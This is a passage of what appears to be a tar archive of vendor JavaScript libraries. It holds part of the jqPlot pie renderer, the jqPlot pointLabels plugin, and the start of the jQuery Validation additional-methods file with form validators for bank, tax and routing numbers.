= gd[i][1] + sa; this._sliceAngles.push([ang1, ang2]); rprime = calcRPrime(ang1, ang2, this.sliceMargin, this.fill, this.lineWidth); if (Math.abs(ang2-ang1) > Math.PI) { maxrprime = Math.max(rprime, maxrprime); } } if (this.diameter != null && this.diameter > 0) { this._diameter = this.diameter - 2*maxrprime; } else { this._diameter = d - 2*maxrprime; } // Need to check for undersized pie. This can happen if // plot area too small and legend is too big. if (this._diameter < 6) { $.jqplot.log('Diameter of pie too small, not rendering.'); return; } var r = this._radius = this._diameter/2; this._center = [(cw - trans * offx)/2 + trans * offx + maxrprime * Math.cos(sa), (ch - trans*offy)/2 + trans * offy + maxrprime * Math.sin(sa)]; if (this.shadow) { for (var i=0, l=gd.length; i<l; i++) { shadowColor = 'rgba(0,0,0,'+this.shadowAlpha+')'; this.renderer.drawSlice.call (this, ctx, this._sliceAngles[i][0], this._sliceAngles[i][1], shadowColor, true); } } for (var i=0; i<gd.length; i++) { sliceColor = colorGenerator.next(); if (this.showSlice[i]) { this.renderer.drawSlice.call (this, ctx, this._sliceAngles[i][0], this._sliceAngles[i][1], sliceColor, false); if (this.showDataLabels && gd[i][2]*100 >= this.dataLabelThreshold) { var fstr, avgang = (this._sliceAngles[i][0] + this._sliceAngles[i][1])/2, label; if (this.dataLabels == 'label') { fstr = this.dataLabelFormatString || '%s'; label = $.jqplot.sprintf(fstr, gd[i][0]); } else if (this.dataLabels == 'value') { fstr = this.dataLabelFormatString || '%d'; label = $.jqplot.sprintf(fstr, this.data[i][1]); } else if (this.dataLabels == 'percent') { fstr = this.dataLabelFormatString || '%d%%'; label = $.jqplot.sprintf(fstr, gd[i][2]*100); } else if (this.dataLabels.constructor == Array) { fstr = this.dataLabelFormatString || '%s'; label = $.jqplot.sprintf(fstr, this.dataLabels[i]); } var fact = (this._radius ) * this.dataLabelPositionFactor + this.sliceMargin + this.dataLabelNudge; var x = this._center[0] + Math.cos(avgang) * fact + this.canvas._offsets.left; var y = this._center[1] + Math.sin(avgang) * fact + this.canvas._offsets.top; var labelelem = $('<div class="jqplot-pie-series jqplot-data-label" style="position:absolute;">' + label + '</div>').insertBefore(plot.eventCanvas._elem); if (this.dataLabelCenterOn) { x -= labelelem.width()/2; y -= labelelem.height()/2; } else { x -= labelelem.width() * Math.sin(avgang/2); y -= labelelem.height()/2; } x = Math.round(x); y = Math.round(y); labelelem.css({left: x, top: y}); } } } }; $.jqplot.PieAxisRenderer = function() { $.jqplot.LinearAxisRenderer.call(this); }; $.jqplot.PieAxisRenderer.prototype = new $.jqplot.LinearAxisRenderer(); $.jqplot.PieAxisRenderer.prototype.constructor = $.jqplot.PieAxisRenderer; // There are no traditional axes on a pie chart. We just need to provide // dummy objects with properties so the plot will render. // called with scope of axis object. $.jqplot.PieAxisRenderer.prototype.init = function(options){ // this.tickRenderer = $.jqplot.PieTickRenderer; $.extend(true, this, options); // I don't think I'm going to need _dataBounds here. // have to go Axis scaling in a way to fit chart onto plot area // and provide u2p and p2u functionality for mouse cursor, etc. // for convienence set _dataBounds to 0 and 100 and // set min/max to 0 and 100. this._dataBounds = {min:0, max:100}; this.min = 0; this.max = 100; this.showTicks = false; this.ticks = []; this.showMark = false; this.show = false; }; $.jqplot.PieLegendRenderer = function(){ $.jqplot.TableLegendRenderer.call(this); }; $.jqplot.PieLegendRenderer.prototype = new $.jqplot.TableLegendRenderer(); $.jqplot.PieLegendRenderer.prototype.constructor = $.jqplot.PieLegendRenderer; /** * Class: $.jqplot.PieLegendRenderer * Legend Renderer specific to pie plots. Set by default * when user creates a pie plot. */ $.jqplot.PieLegendRenderer.prototype.init = function(options) { // Group: Properties // // prop: numberRows // Maximum number of rows in the legend. 0 or null for unlimited. this.numberRows = null; // prop: numberColumns // Maximum number of columns in the legend. 0 or null for unlimited. this.numberColumns = null; // prop: width // Fixed with of legend. 0 or null for auto size this.width = null; $.extend(true, this, options); }; // called with context of legend $.jqplot.PieLegendRenderer.prototype.draw = function() { var legend = this; if (this.show) { var series = this._series; this._elem = $(document.createElement('table')); this._elem.addClass('jqplot-table-legend'); var ss = {position:'absolute'}; if (this.background) { ss['background'] = this.background; } if (this.border) { ss['border'] = this.border; } if (this.fontSize) { ss['fontSize'] = this.fontSize; } if (this.fontFamily) { ss['fontFamily'] = this.fontFamily; } if (this.textColor) { ss['textColor'] = this.textColor; } if (this.marginTop != null) { ss['marginTop'] = this.marginTop; } if (this.marginBottom != null) { ss['marginBottom'] = this.marginBottom; } if (this.marginLeft != null) { ss['marginLeft'] = this.marginLeft; } if (this.marginRight != null) { ss['marginRight'] = this.marginRight; } this._elem.css(ss); // Pie charts legends don't go by number of series, but by number of data points // in the series. Refactor things here for that. var pad = false, reverse = false, nr, nc; var s = series[0]; var colorGenerator = new $.jqplot.ColorGenerator(s.seriesColors); if (s.show) { var pd = s.data; if (this.numberRows) { nr = this.numberRows; if (!this.numberColumns){ nc = Math.ceil(pd.length/nr); } else{ nc = this.numberColumns; } } else if (this.numberColumns) { nc = this.numberColumns; nr = Math.ceil(pd.length/this.numberColumns); } else { nr = pd.length; nc = 1; } var i, j; var tr, td1, td2; var lt, tt, rs, color; var idx = 0; var div0, div1; for (i=0; i<nr; i++) { tr = $(document.createElement('tr')); tr.addClass('jqplot-table-legend'); if (reverse){ tr.prependTo(this._elem); } else{ tr.appendTo(this._elem); } for (j=0; j<nc; j++) { if (idx < pd.length) { tt = ''; if (this.labels[idx]) { lt = this.labels[idx]; } else { if (typeof pd[idx][0] === 'object') { lt = pd[idx][0][0].toString(); tt = pd[idx][0][1].toString(); } else { lt = pd[idx][0].toString(); } } //lt = this.labels[idx] || pd[idx][0].toString(); color = colorGenerator.next(); if (!reverse){ if (i>0){ pad = true; } else{ pad = false; } } else{ if (i == nr -1){ pad = false; } else{ pad = true; } } rs = (pad) ? this.rowSpacing : '0'; td1 = $(document.createElement('td')); td1.addClass('jqplot-table-legend jqplot-table-legend-swatch'); td1.css({textAlign: 'center', paddingTop: rs}); div0 = $(document.createElement('div')); div0.addClass('jqplot-table-legend-swatch-outline'); if (tt !== '') { div0.attr("title", tt); } div1 = $(document.createElement('div')); div1.addClass('jqplot-table-legend-swatch'); div1.css({backgroundColor: color, borderColor: color}); td1.append(div0.append(div1)); td2 = $(document.createElement('td')); td2.addClass('jqplot-table-legend jqplot-table-legend-label'); td2.css('paddingTop', rs); if (this.escapeHtml){ td2.text(lt); } else { td2.html('<a title="' + tt + '">' + lt + "</a>"); } if (reverse) { td2.prependTo(tr); td1.prependTo(tr); } else { td1.appendTo(tr); td2.appendTo(tr); } pad = true; } idx++; } } } } return this._elem; }; $.jqplot.PieRenderer.prototype.handleMove = function(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; plot.target.trigger('jqplotDataMouseOver', ins); if (plot.series[ins[0]].highlightMouseOver && !(ins[0] == plot.plugins.pieRenderer.highlightedSeriesIndex && ins[1] == plot.series[ins[0]]._highlightedPoint)) { plot.target.trigger('jqplotDataHighlight', ins); highlight (plot, ins[0], ins[1]); } } else if (neighbor == null) { unhighlight (plot); } }; // this.eventCanvas._elem.bind($.jqplot.eventListenerHooks[i][0], {plot:this}, $.jqplot.eventListenerHooks[i][1]); // setup default renderers for axes and legend so user doesn't have to // called with scope of plot function preInit(target, data, options) { options = options || {}; options.axesDefaults = options.axesDefaults || {}; options.legend = options.legend || {}; options.seriesDefaults = options.seriesDefaults || {}; // only set these if there is a pie series var setopts = false; if (options.seriesDefaults.renderer == $.jqplot.PieRenderer) { setopts = true; } else if (options.series) { for (var i=0; i < options.series.length; i++) { if (options.series[i].renderer == $.jqplot.PieRenderer) { setopts = true; } } } if (setopts) { options.axesDefaults.renderer = $.jqplot.PieAxisRenderer; options.legend.renderer = options.legend.renderer || $.jqplot.PieLegendRenderer; options.legend.preDraw = true; options.seriesDefaults.pointLabels = {show: false}; } } function postInit(target, data, options) { for (var i=0; i<this.series.length; i++) { if (this.series[i].renderer.constructor == $.jqplot.PieRenderer) { // don't allow mouseover and mousedown at same time. if (this.series[i].highlightMouseOver) { this.series[i].highlightMouseDown = false; } } } } // called with scope of plot function postParseOptions(options) { for (var i=0; i<this.series.length; i++) { this.series[i].seriesColors = this.seriesColors; this.series[i].colorGenerator = $.jqplot.colorGenerator; } } function highlight (plot, sidx, pidx) { if (plot.series[sidx].showSlice[pidx]) { var s = plot.series[sidx]; var canvas = plot.plugins.pieRenderer.highlightCanvas; canvas._ctx.clearRect(0,0,canvas._ctx.canvas.width, canvas._ctx.canvas.height); s._highlightedPoint = pidx; plot.plugins.pieRenderer.highlightedSeriesIndex = sidx; s.renderer.drawSlice.call(s, canvas._ctx, s._sliceAngles[pidx][0], s._sliceAngles[pidx][1], s.highlightColorGenerator.get(pidx), false); } } function unhighlight (plot) { var canvas = plot.plugins.pieRenderer.highlightCanvas; canvas._ctx.clearRect(0,0, canvas._ctx.canvas.width, canvas._ctx.canvas.height); for (var i=0; i<plot.series.length; i++) { plot.series[i]._highlightedPoint = null; } plot.plugins.pieRenderer.highlightedSeriesIndex = null; plot.target.trigger('jqplotDataUnhighlight'); } function handleMove(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var evt1 = jQuery.Event('jqplotDataMouseOver'); evt1.pageX = ev.pageX; evt1.pageY = ev.pageY; plot.target.trigger(evt1, ins); if (plot.series[ins[0]].highlightMouseOver && !(ins[0] == plot.plugins.pieRenderer.highlightedSeriesIndex && ins[1] == plot.series[ins[0]]._highlightedPoint)) { var evt = jQuery.Event('jqplotDataHighlight'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); highlight (plot, ins[0], ins[1]); } } else if (neighbor == null) { unhighlight (plot); } } function handleMouseDown(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; if (plot.series[ins[0]].highlightMouseDown && !(ins[0] == plot.plugins.pieRenderer.highlightedSeriesIndex && ins[1] == plot.series[ins[0]]._highlightedPoint)) { var evt = jQuery.Event('jqplotDataHighlight'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); highlight (plot, ins[0], ins[1]); } } else if (neighbor == null) { unhighlight (plot); } } function handleMouseUp(ev, gridpos, datapos, neighbor, plot) { var idx = plot.plugins.pieRenderer.highlightedSeriesIndex; if (idx != null && plot.series[idx].highlightMouseDown) { unhighlight(plot); } } function handleClick(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var evt = jQuery.Event('jqplotDataClick'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); } } function handleRightClick(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var idx = plot.plugins.pieRenderer.highlightedSeriesIndex; if (idx != null && plot.series[idx].highlightMouseDown) { unhighlight(plot); } var evt = jQuery.Event('jqplotDataRightClick'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); } } // called within context of plot // create a canvas which we can draw on. // insert it before the eventCanvas, so eventCanvas will still capture events. function postPlotDraw() { // Memory Leaks patch if (this.plugins.pieRenderer && this.plugins.pieRenderer.highlightCanvas) { this.plugins.pieRenderer.highlightCanvas.resetCanvas(); this.plugins.pieRenderer.highlightCanvas = null; } this.plugins.pieRenderer = {highlightedSeriesIndex:null}; this.plugins.pieRenderer.highlightCanvas = new $.jqplot.GenericCanvas(); // do we have any data labels? if so, put highlight canvas before those var labels = $(this.targetId+' .jqplot-data-label'); if (labels.length) { $(labels[0]).before(this.plugins.pieRenderer.highlightCanvas.createElement(this._gridPadding, 'jqplot-pieRenderer-highlight-canvas', this._plotDimensions, this)); } // else put highlight canvas before event canvas. else { this.eventCanvas._elem.before(this.plugins.pieRenderer.highlightCanvas.createElement(this._gridPadding, 'jqplot-pieRenderer-highlight-canvas', this._plotDimensions, this)); } var hctx = this.plugins.pieRenderer.highlightCanvas.setContext(); this.eventCanvas._elem.bind('mouseleave', {plot:this}, function (ev) { unhighlight(ev.data.plot); }); } $.jqplot.preInitHooks.push(preInit); $.jqplot.PieTickRenderer = function() { $.jqplot.AxisTickRenderer.call(this); }; $.jqplot.PieTickRenderer.prototype = new $.jqplot.AxisTickRenderer(); $.jqplot.PieTickRenderer.prototype.constructor = $.jqplot.PieTickRenderer; })(jQuery); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/jqplot/plugins/jqplot.pointLabels.js���������������������������������������������������������0000666�����������������00000034401�15172447206�0015173 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: dff2f04 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { /** * Class: $.jqplot.PointLabels * Plugin for putting labels at the data points. * * To use this plugin, include the js * file in your source: * * > <script type="text/javascript" src="plugins/jqplot.pointLabels.js"></script> * * By default, the last value in the data ponit array in the data series is used * for the label. For most series renderers, extra data can be added to the * data point arrays and the last value will be used as the label. * * For instance, * this series: * * > [[1,4], [3,5], [7,2]] * * Would, by default, use the y values in the labels. * Extra data can be added to the series like so: * * > [[1,4,'mid'], [3 5,'hi'], [7,2,'low']] * * And now the point labels would be 'mid', 'low', and 'hi'. * * Options to the point labels and a custom labels array can be passed into the * "pointLabels" option on the series option like so: * * > series:[{pointLabels:{ * > labels:['mid', 'hi', 'low'], * > location:'se', * > ypadding: 12 * > } * > }] * * A custom labels array in the options takes precendence over any labels * in the series data. If you have a custom labels array in the options, * but still want to use values from the series array as labels, set the * "labelsFromSeries" option to true. * * By default, html entities (<, >, etc.) are escaped in point labels. * If you want to include actual html markup in the labels, * set the "escapeHTML" option to false. * */ $.jqplot.PointLabels = function(options) { // Group: Properties // // prop: show // show the labels or not. this.show = $.jqplot.config.enablePlugins; // prop: location // compass location where to position the label around the point. // 'n', 'ne', 'e', 'se', 's', 'sw', 'w', 'nw' this.location = 'n'; // prop: labelsFromSeries // true to use labels within data point arrays. this.labelsFromSeries = false; // prop: seriesLabelIndex // array index for location of labels within data point arrays. // if null, will use the last element of the data point array. this.seriesLabelIndex = null; // prop: labels // array of arrays of labels, one array for each series. this.labels = []; // actual labels that will get displayed. // needed to preserve user specified labels in labels array. this._labels = []; // prop: stackedValue // true to display value as stacked in a stacked plot. // no effect if labels is specified. this.stackedValue = false; // prop: ypadding // vertical padding in pixels between point and label this.ypadding = 6; // prop: xpadding // horizontal padding in pixels between point and label this.xpadding = 6; // prop: escapeHTML // true to escape html entities in the labels. // If you want to include markup in the labels, set to false. this.escapeHTML = true; // prop: edgeTolerance // Number of pixels that the label must be away from an axis // boundary in order to be drawn. Negative values will allow overlap // with the grid boundaries. this.edgeTolerance = -5; // prop: formatter // A class of a formatter for the tick text. sprintf by default. this.formatter = $.jqplot.DefaultTickFormatter; // prop: formatString // string passed to the formatter. this.formatString = ''; // prop: hideZeros // true to not show a label for a value which is 0. this.hideZeros = false; this._elems = []; $.extend(true, this, options); }; var locations = ['nw', 'n', 'ne', 'e', 'se', 's', 'sw', 'w']; var locationIndicies = {'nw':0, 'n':1, 'ne':2, 'e':3, 'se':4, 's':5, 'sw':6, 'w':7}; var oppositeLocations = ['se', 's', 'sw', 'w', 'nw', 'n', 'ne', 'e']; // called with scope of a series $.jqplot.PointLabels.init = function (target, data, seriesDefaults, opts, plot){ var options = $.extend(true, {}, seriesDefaults, opts); options.pointLabels = options.pointLabels || {}; if (this.renderer.constructor === $.jqplot.BarRenderer && this.barDirection === 'horizontal' && !options.pointLabels.location) { options.pointLabels.location = 'e'; } // add a pointLabels attribute to the series plugins this.plugins.pointLabels = new $.jqplot.PointLabels(options.pointLabels); this.plugins.pointLabels.setLabels.call(this); }; // called with scope of series $.jqplot.PointLabels.prototype.setLabels = function() { var p = this.plugins.pointLabels; var labelIdx; if (p.seriesLabelIndex != null) { labelIdx = p.seriesLabelIndex; } else if (this.renderer.constructor === $.jqplot.BarRenderer && this.barDirection === 'horizontal') { labelIdx = (this._plotData[0].length < 3) ? 0 : this._plotData[0].length -1; } else { labelIdx = (this._plotData.length === 0) ? 0 : this._plotData[0].length -1; } p._labels = []; if (p.labels.length === 0 || p.labelsFromSeries) { if (p.stackedValue) { if (this._plotData.length && this._plotData[0].length){ // var idx = p.seriesLabelIndex || this._plotData[0].length -1; for (var i=0; i<this._plotData.length; i++) { p._labels.push(this._plotData[i][labelIdx]); } } } else { // var d = this._plotData; var d = this.data; if (this.renderer.constructor === $.jqplot.BarRenderer && this.waterfall) { d = this._data; } if (d.length && d[0].length) { // var idx = p.seriesLabelIndex || d[0].length -1; for (var i=0; i<d.length; i++) { p._labels.push(d[i][labelIdx]); } } d = null; } } else if (p.labels.length){ p._labels = p.labels; } }; $.jqplot.PointLabels.prototype.xOffset = function(elem, location, padding) { location = location || this.location; padding = padding || this.xpadding; var offset; switch (location) { case 'nw': offset = -elem.outerWidth(true) - this.xpadding; break; case 'n': offset = -elem.outerWidth(true)/2; break; case 'ne': offset = this.xpadding; break; case 'e': offset = this.xpadding; break; case 'se': offset = this.xpadding; break; case 's': offset = -elem.outerWidth(true)/2; break; case 'sw': offset = -elem.outerWidth(true) - this.xpadding; break; case 'w': offset = -elem.outerWidth(true) - this.xpadding; break; default: // same as 'nw' offset = -elem.outerWidth(true) - this.xpadding; break; } return offset; }; $.jqplot.PointLabels.prototype.yOffset = function(elem, location, padding) { location = location || this.location; padding = padding || this.xpadding; var offset; switch (location) { case 'nw': offset = -elem.outerHeight(true) - this.ypadding; break; case 'n': offset = -elem.outerHeight(true) - this.ypadding; break; case 'ne': offset = -elem.outerHeight(true) - this.ypadding; break; case 'e': offset = -elem.outerHeight(true)/2; break; case 'se': offset = this.ypadding; break; case 's': offset = this.ypadding; break; case 'sw': offset = this.ypadding; break; case 'w': offset = -elem.outerHeight(true)/2; break; default: // same as 'nw' offset = -elem.outerHeight(true) - this.ypadding; break; } return offset; }; // called with scope of series $.jqplot.PointLabels.draw = function (sctx, options, plot) { var p = this.plugins.pointLabels; // set labels again in case they have changed. p.setLabels.call(this); // remove any previous labels for (var i=0; i<p._elems.length; i++) { // Memory Leaks patch // p._elems[i].remove(); if(p._elems[i]) { p._elems[i].emptyForce(); } } p._elems.splice(0, p._elems.length); if (p.show) { var ax = '_'+this._stackAxis+'axis'; if (!p.formatString) { p.formatString = this[ax]._ticks[0].formatString; p.formatter = this[ax]._ticks[0].formatter; } var pd = this._plotData; var ppd = this._prevPlotData; var xax = this._xaxis; var yax = this._yaxis; var elem, helem; for (var i=0, l=p._labels.length; i < l; i++) { var label = p._labels[i]; if (label == null || (p.hideZeros && parseFloat(label) == 0)) { continue; } label = p.formatter(p.formatString, label); helem = document.createElement('div'); p._elems[i] = $(helem); elem = p._elems[i]; elem.addClass('jqplot-point-label jqplot-series-'+this.index+' jqplot-point-'+i); elem.css('position', 'absolute'); elem.insertAfter(sctx.canvas); if (p.escapeHTML) { elem.text(label); } else { elem.html(label); } var location = p.location; if ((this.fillToZero && pd[i][1] < 0) || (this.fillToZero && this._type === 'bar' && this.barDirection === 'horizontal' && pd[i][0] < 0) || (this.waterfall && parseInt(label, 10)) < 0) { location = oppositeLocations[locationIndicies[location]]; } var ell = xax.u2p(pd[i][0]) + p.xOffset(elem, location); var elt = yax.u2p(pd[i][1]) + p.yOffset(elem, location); // we have stacked chart but are not showing stacked values, // place labels in center. if (this._stack && !p.stackedValue) { if (this.barDirection === "vertical") { elt = (this._barPoints[i][0][1] + this._barPoints[i][1][1]) / 2 + plot._gridPadding.top - 0.5 * elem.outerHeight(true); } else { ell = (this._barPoints[i][2][0] + this._barPoints[i][0][0]) / 2 + plot._gridPadding.left - 0.5 * elem.outerWidth(true); } } if (this.renderer.constructor == $.jqplot.BarRenderer) { if (this.barDirection == "vertical") { ell += this._barNudge; } else { elt -= this._barNudge; } } elem.css('left', ell); elem.css('top', elt); var elr = ell + elem.width(); var elb = elt + elem.height(); var et = p.edgeTolerance; var scl = $(sctx.canvas).position().left; var sct = $(sctx.canvas).position().top; var scr = sctx.canvas.width + scl; var scb = sctx.canvas.height + sct; // if label is outside of allowed area, remove it if (ell - et < scl || elt - et < sct || elr + et > scr || elb + et > scb) { elem.remove(); } elem = null; helem = null; } // finally, animate them if the series is animated // if (this.renderer.animation && this.renderer.animation._supported && this.renderer.animation.show && plot._drawCount < 2) { // var sel = '.jqplot-point-label.jqplot-series-'+this.index; // $(sel).hide(); // $(sel).fadeIn(1000); // } } }; $.jqplot.postSeriesInitHooks.push($.jqplot.PointLabels.init); $.jqplot.postDrawSeriesHooks.push($.jqplot.PointLabels.draw); })(jQuery); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/jquery/additional-methods.js�����������������������������������������������������������������0000666�����������������00000144412�15172447206�0013511 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery Validation Plugin v1.19.5 * * https://jqueryvalidation.org/ * * Copyright (c) 2022 Jörn Zaefferer * Released under the MIT license */ (function( factory ) { if ( typeof define === "function" && define.amd ) { define( ["jquery", "./jquery.validate"], factory ); } else if (typeof module === "object" && module.exports) { module.exports = factory( require( "jquery" ) ); } else { factory( jQuery ); } }(function( $ ) { ( function() { function stripHtml( value ) { // Remove html tags and space chars return value.replace( /<.[^<>]*?>/g, " " ).replace( / | /gi, " " ) // Remove punctuation .replace( /[.(),;:!?%#$'\"_+=\/\-“”’]*/g, "" ); } $.validator.addMethod( "maxWords", function( value, element, params ) { return this.optional( element ) || stripHtml( value ).match( /\b\w+\b/g ).length <= params; }, $.validator.format( "Please enter {0} words or less." ) ); $.validator.addMethod( "minWords", function( value, element, params ) { return this.optional( element ) || stripHtml( value ).match( /\b\w+\b/g ).length >= params; }, $.validator.format( "Please enter at least {0} words." ) ); $.validator.addMethod( "rangeWords", function( value, element, params ) { var valueStripped = stripHtml( value ), regex = /\b\w+\b/g; return this.optional( element ) || valueStripped.match( regex ).length >= params[ 0 ] && valueStripped.match( regex ).length <= params[ 1 ]; }, $.validator.format( "Please enter between {0} and {1} words." ) ); }() ); /** * This is used in the United States to process payments, deposits, * or transfers using the Automated Clearing House (ACH) or Fedwire * systems. A very common use case would be to validate a form for * an ACH bill payment. */ $.validator.addMethod( "abaRoutingNumber", function( value ) { var checksum = 0; var tokens = value.split( "" ); var length = tokens.length; // Length Check if ( length !== 9 ) { return false; } // Calc the checksum // https://en.wikipedia.org/wiki/ABA_routing_transit_number for ( var i = 0; i < length; i += 3 ) { checksum += parseInt( tokens[ i ], 10 ) * 3 + parseInt( tokens[ i + 1 ], 10 ) * 7 + parseInt( tokens[ i + 2 ], 10 ); } // If not zero and divisible by 10 then valid if ( checksum !== 0 && checksum % 10 === 0 ) { return true; } return false; }, "Please enter a valid routing number." ); // Accept a value from a file input based on a required mimetype $.validator.addMethod( "accept", function( value, element, param ) { // Split mime on commas in case we have multiple types we can accept var typeParam = typeof param === "string" ? param.replace( /\s/g, "" ) : "image/*", optionalValue = this.optional( element ), i, file, regex; // Element is optional if ( optionalValue ) { return optionalValue; } if ( $( element ).attr( "type" ) === "file" ) { // Escape string to be used in the regex // see: https://stackoverflow.com/questions/3446170/escape-string-for-use-in-javascript-regex // Escape also "/*" as "/.*" as a wildcard typeParam = typeParam .replace( /[\-\[\]\/\{\}\(\)\+\?\.\\\^\$\|]/g, "\\$&" ) .replace( /,/g, "|" ) .replace( /\/\*/g, "/.*" ); // Check if the element has a FileList before checking each file if ( element.files && element.files.length ) { regex = new RegExp( ".?(" + typeParam + ")$", "i" ); for ( i = 0; i < element.files.length; i++ ) { file = element.files[ i ]; // Grab the mimetype from the loaded file, verify it matches if ( !file.type.match( regex ) ) { return false; } } } } // Either return true because we've validated each file, or because the // browser does not support element.files and the FileList feature return true; }, $.validator.format( "Please enter a value with a valid mimetype." ) ); $.validator.addMethod( "alphanumeric", function( value, element ) { return this.optional( element ) || /^\w+$/i.test( value ); }, "Letters, numbers, and underscores only please." ); /* * Dutch bank account numbers (not 'giro' numbers) have 9 digits * and pass the '11 check'. * We accept the notation with spaces, as that is common. * acceptable: 123456789 or 12 34 56 789 */ $.validator.addMethod( "bankaccountNL", function( value, element ) { if ( this.optional( element ) ) { return true; } if ( !( /^[0-9]{9}|([0-9]{2} ){3}[0-9]{3}$/.test( value ) ) ) { return false; } // Now '11 check' var account = value.replace( / /g, "" ), // Remove spaces sum = 0, len = account.length, pos, factor, digit; for ( pos = 0; pos < len; pos++ ) { factor = len - pos; digit = account.substring( pos, pos + 1 ); sum = sum + factor * digit; } return sum % 11 === 0; }, "Please specify a valid bank account number." ); $.validator.addMethod( "bankorgiroaccountNL", function( value, element ) { return this.optional( element ) || ( $.validator.methods.bankaccountNL.call( this, value, element ) ) || ( $.validator.methods.giroaccountNL.call( this, value, element ) ); }, "Please specify a valid bank or giro account number." ); /** * BIC is the business identifier code (ISO 9362). This BIC check is not a guarantee for authenticity. * * BIC pattern: BBBBCCLLbbb (8 or 11 characters long; bbb is optional) * * Validation is case-insensitive. Please make sure to normalize input yourself. * * BIC definition in detail: * - First 4 characters - bank code (only letters) * - Next 2 characters - ISO 3166-1 alpha-2 country code (only letters) * - Next 2 characters - location code (letters and digits) * a. shall not start with '0' or '1' * b. second character must be a letter ('O' is not allowed) or digit ('0' for test (therefore not allowed), '1' denoting passive participant, '2' typically reverse-billing) * - Last 3 characters - branch code, optional (shall not start with 'X' except in case of 'XXX' for primary office) (letters and digits) */ $.validator.addMethod( "bic", function( value, element ) { return this.optional( element ) || /^([A-Z]{6}[A-Z2-9][A-NP-Z1-9])(X{3}|[A-WY-Z0-9][A-Z0-9]{2})?$/.test( value.toUpperCase() ); }, "Please specify a valid BIC code." ); /* * Código de identificación fiscal ( CIF ) is the tax identification code for Spanish legal entities * Further rules can be found in Spanish on http://es.wikipedia.org/wiki/C%C3%B3digo_de_identificaci%C3%B3n_fiscal * * Spanish CIF structure: * * [ T ][ P ][ P ][ N ][ N ][ N ][ N ][ N ][ C ] * * Where: * * T: 1 character. Kind of Organization Letter: [ABCDEFGHJKLMNPQRSUVW] * P: 2 characters. Province. * N: 5 characters. Secuencial Number within the province. * C: 1 character. Control Digit: [0-9A-J]. * * [ T ]: Kind of Organizations. Possible values: * * A. Corporations * B. LLCs * C. General partnerships * D. Companies limited partnerships * E. Communities of goods * F. Cooperative Societies * G. Associations * H. Communities of homeowners in horizontal property regime * J. Civil Societies * K. Old format * L. Old format * M. Old format * N. Nonresident entities * P. Local authorities * Q. Autonomous bodies, state or not, and the like, and congregations and religious institutions * R. Congregations and religious institutions (since 2008 ORDER EHA/451/2008) * S. Organs of State Administration and regions * V. Agrarian Transformation * W. Permanent establishments of non-resident in Spain * * [ C ]: Control Digit. It can be a number or a letter depending on T value: * [ T ] --> [ C ] * ------ ---------- * A Number * B Number * E Number * H Number * K Letter * P Letter * Q Letter * S Letter * */ $.validator.addMethod( "cifES", function( value, element ) { "use strict"; if ( this.optional( element ) ) { return true; } var cifRegEx = new RegExp( /^([ABCDEFGHJKLMNPQRSUVW])(\d{7})([0-9A-J])$/gi ); var letter = value.substring( 0, 1 ), // [ T ] number = value.substring( 1, 8 ), // [ P ][ P ][ N ][ N ][ N ][ N ][ N ] control = value.substring( 8, 9 ), // [ C ] all_sum = 0, even_sum = 0, odd_sum = 0, i, n, control_digit, control_letter; function isOdd( n ) { return n % 2 === 0; } // Quick format test if ( value.length !== 9 || !cifRegEx.test( value ) ) { return false; } for ( i = 0; i < number.length; i++ ) { n = parseInt( number[ i ], 10 ); // Odd positions if ( isOdd( i ) ) { // Odd positions are multiplied first. n *= 2; // If the multiplication is bigger than 10 we need to adjust odd_sum += n < 10 ? n : n - 9; // Even positions // Just sum them } else { even_sum += n; } } all_sum = even_sum + odd_sum; control_digit = ( 10 - ( all_sum ).toString().substr( -1 ) ).toString(); control_digit = parseInt( control_digit, 10 ) > 9 ? "0" : control_digit; control_letter = "JABCDEFGHI".substr( control_digit, 1 ).toString(); // Control must be a digit if ( letter.match( /[ABEH]/ ) ) { return control === control_digit; // Control must be a letter } else if ( letter.match( /[KPQS]/ ) ) { return control === control_letter; } // Can be either return control === control_digit || control === control_letter; }, "Please specify a valid CIF number." ); /* * Brazillian CNH number (Carteira Nacional de Habilitacao) is the License Driver number. * CNH numbers have 11 digits in total: 9 numbers followed by 2 check numbers that are being used for validation. */ $.validator.addMethod( "cnhBR", function( value ) { // Removing special characters from value value = value.replace( 